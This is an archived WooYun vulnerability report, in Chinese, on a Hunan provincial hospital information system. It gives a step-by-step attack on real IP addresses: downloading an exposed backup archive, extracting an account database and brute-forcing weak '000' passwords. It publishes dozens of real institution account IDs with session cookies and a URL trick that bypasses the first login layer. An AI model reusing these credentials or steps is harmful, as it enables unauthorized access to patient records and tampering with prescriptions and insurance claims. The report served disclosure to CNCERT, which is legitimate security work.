当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089460

漏洞标题:湖南省医疗系统严重运营风险(可至全省上万基层医疗机构瘫痪,大量个人就诊信息资料泄露)

相关厂商:cncert国家互联网应急中心

漏洞作者: superbing

提交时间:2014-12-31 09:48

修复时间:2015-02-14 09:50

公开时间:2015-02-14 09:50

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

标题有点吓人,但并不夸张,卫生院、医院、药店等受波及!老规矩抽白沙烟日站。
湖南省医疗系统严重运营风险,可至全省上万基层医疗机构瘫痪,千万级个人就诊信息资料泄露

详细说明:

WooYun: 湖南省某卫生管理系统1万多个医疗点帐号密码泄漏,数据库密码泄漏
乌云君表示为“已经修复”
经过仔细搜索找到了新入口,也就是说压根没修复,换了个IP而已。
我家在农村,你别把我信息泄露了哈,赶紧发出来补补!别被坏人利用了!希望这次补好哈!
上次报太简单了,这次稍微深入点,不然你不修复!

漏洞证明:

描述下过程
1:首先
http://222.240.205.104/wwwroot.rar 下载打包
2:解压
3:改VIP目录下 hisonline.aspx(最新的那个)为hisonline.mdb
4:去掉MDB密码,浏览hospinfo表,导出为excl

11.JPG


5:根据hospinfo表中的 hosppwd 字段和hospitalcode 字段 爆破

444.JPG


得到密码为000的医疗机构11235个,基本都验证了下,几个不同的返回长度对应的是权限都测试过了的。

12.JPG


为了以后公开漏洞不造成太大影响我这里只贴出部分,审核漏洞的如果想确认个数可以自己下载wwwroot.rar,打开hisonline.mdb或者私下联系我获取那1万个弱口令账号。

系统高权限测试账号代表
yzshis 000


7.JPG


卫生院账号代表
账号:430181310601 密码:000
2层账号:001 2层密码:000


6.JPG


医院账号代表
431127204 000 管理员
2层账号:001 2层密码:000


8.JPG


在给出一些账号,好测试。

430181040501	2708	ASP.NET_SessionId=x4ixvt55lbmje0fz0ndkf1mp; path=/; HttpOnly
430181050601 2708 ASP.NET_SessionId=m5pzltipuocfyl45coajuj45; path=/; HttpOnly
430181051002 2708 ASP.NET_SessionId=bevfivi3oub02d553xkhn5qf; path=/; HttpOnly
430181051101 2708 ASP.NET_SessionId=m4txd545apq1xsy1xrs5qd45; path=/; HttpOnly
430181100101 2708 ASP.NET_SessionId=dbjk01i3xlizgtn2rxizyp45; path=/; HttpOnly
430181100201 2708 ASP.NET_SessionId=0jzvowqcznotgl55in53eu45; path=/; HttpOnly
430181100301 2708 ASP.NET_SessionId=okkybovyi20votjqnoklwmyc; path=/; HttpOnly
430181100401 2708 ASP.NET_SessionId=mcdfurelllkex555yv4zhh55; path=/; HttpOnly
430181100501 2708 ASP.NET_SessionId=dsdsanymusvyw5iiixp32d45; path=/; HttpOnly
430181130201 2708 ASP.NET_SessionId=rpg5ns55ilckv245fasemy55; path=/; HttpOnly
430181130401 2708 ASP.NET_SessionId=4tfwa155a5pvjumtn23s2e45; path=/; HttpOnly
430181130501 2708 ASP.NET_SessionId=ibgqiirvfqijpaa4lhx1lg55; path=/; HttpOnly
430181130601 2708 ASP.NET_SessionId=puqmrp45kmvjqzy0sizggc45; path=/; HttpOnly
430181130901 2708 ASP.NET_SessionId=is2i3x55jwtfq245bfsm2a55; path=/; HttpOnly
430181131001 2708 ASP.NET_SessionId=14kxge55ulgoml45z2yf0b45; path=/; HttpOnly
430181131201 2708 ASP.NET_SessionId=ha4rn455rlehnfvp3o5wfh55; path=/; HttpOnly
430181131601 2708 ASP.NET_SessionId=ohxg1qmbigdf5uri1fhosbeu; path=/; HttpOnly
430181140006 2708 ASP.NET_SessionId=xmstgk55bba5bivyai3plf55; path=/; HttpOnly
430181140801 2708 ASP.NET_SessionId=d2m4emav1ofbnz45o4h0ko45; path=/; HttpOnly
430181140901 2708 ASP.NET_SessionId=h03l5mvv1kak1d55el3gga2c; path=/; HttpOnly
430181141101 2708 ASP.NET_SessionId=gne0tc45qsvwyl55zjqw0ymq; path=/; HttpOnly
430181141501 2708 ASP.NET_SessionId=k01zsejbxeqzgq555n1lnx55; path=/; HttpOnly
430181160701 2708 ASP.NET_SessionId=jqwywdv4ieidskmlkxlenb45; path=/; HttpOnly
430181170301 2708 ASP.NET_SessionId=us5wgmfdznlxqs45rdzgf445; path=/; HttpOnly
430181180201 2708 ASP.NET_SessionId=0hlk0h45p35ol3zq32hvji45; path=/; HttpOnly
430181180801 2708 ASP.NET_SessionId=nwrs3b55lzlrte55atgx11a3; path=/; HttpOnly
430181181001 2708 ASP.NET_SessionId=pao0pcvlgz2exm45fszwdj45; path=/; HttpOnly
rdhis 2584 ASP.NET_SessionId=3yfju32bxgio2c55tkv4qmmg; path=/; HttpOnly
A230500A018 2587 ASP.NET_SessionId=3nnhw0zijuvazy2ztthjlg45; path=/; HttpOnly
430202100 2588 ASP.NET_SessionId=oqsofh55pbzk5nzbdkv2enet; path=/; HttpOnly
430202201 2595 ASP.NET_SessionId=rgyu3y455o0mj345hvm22045; path=/; HttpOnly
430203108 2595 ASP.NET_SessionId=nvbehb2bbraobk55fljhqlzx; path=/; HttpOnly
430203211 2595 ASP.NET_SessionId=he2vaz45acfnxpibdtm2zwuk; path=/; HttpOnly
430211101 2595 ASP.NET_SessionId=pqy4as45vxbl01b3afv52ofu; path=/; HttpOnly
430211105 2595 ASP.NET_SessionId=hos5fo45quor2ymdgyz2b1ro; path=/; HttpOnly
yzshis 2599 ASP.NET_SessionId=2yfg2b45dvpv1g45c23qyzma; path=/; HttpOnly
zzshis 2599 ASP.NET_SessionId=olmc3tn331nnqm45axugiy55; path=/; HttpOnly


其实说了这么多,后来我发现这个账号其实是可以绕过的,那么受威胁的就不是11235个,而是12802个(截止13年的那个MDB)。

http://113.240.245.42/simpmzora/x32_application.htm?A430124simpmz&430124251702

为例子,这个是登陆1层密码后成功返回的地址,我发现这个是可以根据hisonline.mdb 中的 dbcache 字段构造出来的。
比如卫生院的账号是:430124251702 我查询下 hisonline.mdb中的dbcache 数据是 A430124simpmz
直接构造成

http://113.240.245.42/simpmzora/x32_application.htm?A430124simpmz&430124251702


就可以免第一层登陆了,是不是很happy? 呵呵。
最后说明下标题,为什么我说可以瘫痪全省上万基层医疗机构呢?因为可以改药价,可以改处方,可以乱报农合。。。。等等。。自己看吧
为什么是千万级个人就诊信息资料泄露呢?随便登陆个卫生院、医院之类的 每天的病人我就打10个 或者说5个,大家算算这么些年这么多机构能有多少数据。我也不好确认这系统我不敢搞坏了,数据密码和地址人家写到hisonline.mdb 里面清清楚楚 pym 和 datapwd 字段,可是要内网,我就是为了刷个分没必要进去确认了。千万级真保守了!只是查起来不方便点,卫生院能调到县级以内的患者数据。要查分开查吧。

9.JPG


10.JPG


怕审核的看着这么乱的介绍头大,简单描述下登陆流程:
弹窗拦截插件要关掉,登陆后那窗口是弹出来的。登陆过程中提示的插件要全装上,如果要调用户就诊、病例等数据提示的exe也得装上。1层默认密码 000 2层默认账号 001 密码 000 ,1层是医院的,2层是医院用户的。
来记录登陆流程图。
1层

1.JPG


2层小权限的话是这样的:

2.JPG


2层大权限的话是这样的:

7.JPG


修复方案:

这个我也说不好了,直接丢给开发商吧,反正卫生厅出了钱的。

版权声明:转载请注明来源 superbing@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-05 08:07

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心,由其后续协调网站管理单位处置.

最新状态:

暂无